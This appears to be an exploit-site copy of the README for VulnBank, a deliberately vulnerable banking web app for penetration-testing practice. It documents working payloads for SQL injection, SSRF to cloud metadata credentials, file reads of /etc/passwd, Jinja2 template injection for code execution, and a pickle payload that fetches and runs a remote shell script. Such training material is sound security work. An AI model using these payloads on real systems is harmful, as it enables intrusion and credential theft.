Sploitus

Exploit for vulnbank

githubexploit Β· 2026-09-09

Exploit Code

README353 lines
## https://sploitus.com/exploit?id=4691B857-4F26-560F-99C8-66C94D9E987B
# VulnBank β€” Intentionally Vulnerable Banking Web Application

> **FOR SECURITY TRAINING ONLY. NEVER DEPLOY TO PRODUCTION OR PUBLIC NETWORKS.**

VulnBank is a realistic, intentionally vulnerable online banking application designed for penetration testers, security engineers, and OSCP/OSEP/BSCP students to practice web application exploitation techniques in a safe, isolated environment. It simulates a modern fintech stack complete with a REST API, JWT authentication, MongoDB, SQLite, cloud IMDS simulation, and an admin bot β€” all deliberately riddled with real-world vulnerabilities.

---

## Table of Contents

- [Features](#features)
- [Vulnerability Coverage](#vulnerability-coverage)
- [Architecture](#architecture)
- [Quick Start](#quick-start)
- [Default Credentials](#default-credentials)
- [Attack Scenarios](#attack-scenarios)
- [Troubleshooting](#troubleshooting)
- [Legal Disclaimer](#legal-disclaimer)

---

## Features

- Modern banking UI (dashboard, accounts, cards, transfers, profile, PDF statements)
- REST API backend in Flask with JWT-based authentication
- SQLite (user/account data) + MongoDB (activity logs)
- Nginx reverse proxy
- Mock AWS EC2 Instance Metadata Service (IMDS) at `169.254.169.254`
- Admin bot that periodically visits flagged pages (for XSS chaining)
- Multi-tier subscription system (Bronze / Silver / Gold) with transfer limits
- PDF statement generation via WeasyPrint

---

## Vulnerability Coverage

VulnBank intentionally contains the following vulnerability classes. Each one maps to a real-world finding category and is exploitable without modifying the application.

### 1. SQL Injection (Error-Based / UNION)

**Endpoint:** `GET /api/account/`  
**Endpoint:** `GET /api/accounts/search?q=`

The account lookup and account search endpoints build SQL queries via f-string interpolation with no parameterisation. Both are injectable and return error detail in the JSON response.

```
GET /api/account/1' OR '1'='1
GET /api/accounts/search?q=' UNION SELECT username,password,ssn,4,5,6,7,8 FROM users--
```

Impact: Dump all users, SSNs, password hashes, account numbers.

---

### 2. Server-Side Request Forgery (SSRF)

**Endpoint:** `GET /api/fetch-statement?url=`

The statement-fetching endpoint accepts an arbitrary URL and makes a server-side HTTP request. The blocklist only filters `127.0.0.1` and `localhost` β€” it does not block `169.254.169.254` (AWS IMDS).

```
GET /api/fetch-statement?url=http://169.254.169.254/latest/meta-data/
GET /api/fetch-statement?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/vulnbank-prod-role
GET /api/fetch-statement?url=http://internal-admin:9000/
```

Impact: Steal AWS IAM temporary credentials, enumerate internal services.

---

### 3. Local File Read via SSRF (file:// Protocol)

**Endpoint:** `GET /api/fetch-statement?url=file:///etc/passwd`

The same SSRF endpoint supports the `file://` scheme, allowing arbitrary file reads from the container filesystem.

```
GET /api/fetch-statement?url=file:///etc/passwd
GET /api/fetch-statement?url=file:///app/backend/data/vulnbank.db
GET /api/fetch-statement?url=file:///proc/self/environ
```

Impact: Read /etc/passwd, environment variables, source code, SQLite database.

---

### 4. Server-Side Template Injection (SSTI) β€” via PDF Generation

**Endpoint:** `GET /api/pdf/statement`  
**Trigger:** Update your profile's `full_name` field via `POST /api/profile/update`

The PDF generation route performs a naive string-replace to inject user profile data into a Jinja2 template before calling `render_template_string`. A blacklist filters keywords like `self`, `os`, `import`, `popen` but is bypassable using attribute chaining.

```json
POST /api/profile/update
{ "full_name": "{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}" }
```

Then request `GET /api/pdf/statement` β€” the output appears inside the rendered PDF.

Impact: Remote Code Execution (RCE) inside the backend container.

---

### 5. Insecure Deserialization (Python Pickle RCE)

**Endpoint:** `POST /api/cards//repay`  
**Content-Type:** `application/octet-stream`

The card repayment endpoint decodes a base64 body and passes it directly to `pickle.loads`. Craft a malicious pickle payload for RCE.

```python
import pickle, base64, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://YOUR_IP/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
```

```bash
curl -X POST http://localhost/api/cards/1/repay \
  -H "Content-Type: application/octet-stream" \
  -H "Authorization: Bearer " \
  --data "$payload"
```

Impact: Remote Code Execution β€” full container compromise.

---

### 6. Broken Object Level Authorization / IDOR

**Endpoint:** `GET /api/cards/`

The card detail endpoint fetches a card by numeric `card_id` without verifying the requesting user owns it. Enumerate card IDs (1, 2, 3 …) to access other users' card numbers, CVVs, and balances.

```
GET /api/cards/1
GET /api/cards/2
```

---

### 7. Mass Assignment / Privilege Escalation

**Endpoint:** `POST /api/profile/update`

The `subscription_type` field is included in the server's `ALLOWED_FIELDS` list and is directly updated from user-supplied JSON. A Bronze-tier user can escalate themselves to Gold.

```json
POST /api/profile/update
{ "subscription_type": "gold" }
```

Impact: Bypass transfer limits (Bronze: $100k β†’ Gold: $5 million per transfer).

---

### 8. Business Logic β€” Fee Manipulation

**Endpoint:** `POST /api/transfer`

The transfer endpoint reads a client-supplied `fee` field and uses it directly instead of computing the 10% fee server-side. Setting `fee: 0` eliminates the platform fee entirely.

```json
POST /api/transfer
{
  "from_account": "ACC-XXXX",
  "to_account": "ACC-YYYY",
  "amount": 10000,
  "fee": 0
}
```

---

### 9. Weak Cryptography

- Passwords are stored as **MD5 hashes** (no salt).
- JWT secret is `simplybeingcute` (set via environment variable, visible in `docker-compose.yml`).
- OTP payloads are AES-CBC encrypted with a hardcoded key `SecureB@nk2026!!`.

Forge a JWT for any user:

```python
import jwt
payload = {"user_id": 1, "username": "alice", "subscription_type": "gold"}
token = jwt.encode(payload, "simplybeingcute", algorithm="HS256")
```

---

### 10. Stored XSS + Admin Bot Chain

**Endpoint:** `POST /api/profile/update` (full_name, phone, address fields)

Profile fields are reflected in the dashboard without adequate sanitisation. An admin bot visits the application every 60 seconds. Inject a payload that exfiltrates the admin's JWT cookie.

```json
{ "full_name": "" }
```

Impact: Steal the admin session token, pivot to admin functionality.

---

### 11. Sensitive Data Exposure β€” Database Backup Endpoint

**Endpoint:** `GET /api/backup`

Any authenticated user can download the full SQLite database file (`vulnbank.db`) containing all users, SSNs, password hashes, account numbers, and transactions.

---

### 12. Mock AWS IMDS (Cloud Credential Theft)

A mock IMDS service runs at `169.254.169.254` and exposes:

| Path | Returns |
|---|---|
| `/latest/meta-data/iam/security-credentials/vulnbank-prod-role` | Fake AWS IAM credentials (AccessKeyId, SecretAccessKey, Token) |
| `/latest/user-data` | Bootstrap script containing DB credentials and JWT secrets |
| `/latest/dynamic/instance-identity/document` | Instance identity document |

Reach it via the SSRF vulnerability β€” the backend container is on the `imds_net` network.

---

## Architecture

```
Browser
   |
   v
Nginx :80  (reverse proxy)
   |
   +---> Backend (Flask :8000)
   |        |
   |        +---> SQLite  (users, accounts, transactions, cards)
   |        +---> MongoDB (activity logs)
   |        +---> Internal Admin (:9000)  [SSRF target]
   |        +---> Mock IMDS 169.254.169.254  [SSRF target]
   |
Admin Bot  (headless browser, visits every 60s)
```

**Services (docker-compose):**

| Service | Role |
|---|---|
| `nginx` | Reverse proxy, serves frontend static files |
| `backend` | Flask REST API |
| `mongo` | MongoDB for activity logging |
| `internal-admin` | Internal admin panel (no auth, SSRF target) |
| `mock-imds` | Simulated AWS EC2 IMDS |
| `admin-bot` | Headless browser that logs in and browses the app |

---

## Quick Start

**Prerequisites:** Docker Desktop (includes Docker Compose). Port 80 must be free.

```bash
git clone https://github.com/htetwp/vulnbank.git
cd vulnbank
docker compose up --build
```

Wait for:

```
backend  | * Running on http://0.0.0.0:8000
```

Then open **http://localhost** in your browser.

**Tear down:**

```bash
docker compose down          # stop containers
docker compose down -v       # stop + wipe all data volumes (fresh start)
```

---

## Default Credentials

| Username | Password | Tier | Notes |
|---|---|---|---|
| `alice` | `7k#Pz9!vM2qL` | Gold | Admin bot account |
| Register your own | β€” | Bronze | Self-registration is open |

---

## Attack Scenarios

### Beginner Path

1. Register an account β†’ explore the dashboard
2. Use the IDOR on `/api/cards/` to read other users' cards
3. Update `subscription_type` via mass assignment to Gold
4. Use fee manipulation to transfer without paying the 10% fee

### Intermediate Path

5. Extract the JWT secret from `/latest/user-data` via SSRF
6. Forge a JWT as `alice` (the admin)
7. Download the database via `/api/backup`
8. Crack MD5 hashes offline (hashcat mode 0)

### Advanced Path

9. Inject an SSTI payload into `full_name`, bypass the keyword blacklist
10. Trigger `/api/pdf/statement` β†’ achieve RCE inside the backend container
11. Alternatively: craft a Pickle payload for RCE via `/api/cards//repay`
12. Pivot: use the admin bot XSS chain to steal alice's live JWT

---

## Troubleshooting

**Port 80 already in use:**

```bash
sudo lsof -i :80          # macOS/Linux
netstat -ano | findstr :80  # Windows
# kill the process, then:
docker compose up --build
```

**Database errors on first run:**

```bash
docker compose down -v
docker compose up --build
```

**Containers exit immediately:**

```bash
docker compose logs backend
docker compose logs nginx
```

---

## Legal Disclaimer

This application is intentionally insecure and is provided for **educational and security research purposes only**. It must be run in an isolated, offline lab environment. Running this application on a public network or production system is strictly prohibited. The authors accept no liability for misuse.